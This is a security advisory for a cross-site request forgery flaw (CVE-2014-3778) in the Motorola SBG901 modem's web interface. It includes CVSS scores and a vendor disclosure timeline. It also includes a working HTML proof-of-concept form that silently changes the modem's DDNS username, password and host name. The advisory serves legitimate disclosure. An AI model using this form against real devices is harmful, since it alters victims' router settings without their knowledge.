Motorola SBG901 Wireless Modem Cross Site Request Forgery

Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Exploit Title : Motorola SBG901 Wireless Modem CSRF Vulnerability Google dork : N/A Exploit Author: Blessen Thomas Date : 06/01/2014 Vendor Homepage : Software Link : N/A Version : Motorola SBG901 Wireless modem Tested on : Windows 7 CVE : CVE-2014-3778 Type of Application : Web application Release mode : Coordinated disclosure Vulnerability description: It was observed that this modem's Web Application , is vulnerable to Cross-site request forgery through which attacker could manipulate user data via sending the victim malicious crafted url. At attacker could change the username,password ,dns service and host name of the victim's account without the victim's knowledge. Cross site request forgery x.x.x.x is the ip address of the modem. <html> <!-- CSRF PoC ---> <body> <form action="http://x.x.x.x/goform/RgDdns" method="POST"> <input type="hidden" name="DdnsService" value="1" /> <input type="hidden" name="DdnsUserName" value="test" /> <input type="hidden" name="DdnsPassword" value="test" /> <input type="hidden" name="DdnsHostName" value="test" /> <input type="submit" value="Submit form" /> </form> </body> </html> Tools used : Mozilla firefox browser v28.0 , Burp proxy free edition v1.5 Timeline: - 31-03-14: Contacted Vendor with details of Vulnerability and Exploit. - 01-04-14: Vendor ARRIS (formerly Motorola) forwards to Surfboard Gateway product team for review - 15-04-14: Vendor contacted to know the status. - 01-05-14 : Contacted vendor to know the status and release the advisory publically - 02-05-14: Vendor acknowledged and responded that currently no fix available since the product is no longer in production and due end of life status product -14-05-14: Contacted vendor the final time to release the security advisory publically. -14-05-14 : Vendor responded to release the advisory publically. -15-05-14: Requested CVE ID from Mitre team -22-05-14: CVE ID obtained

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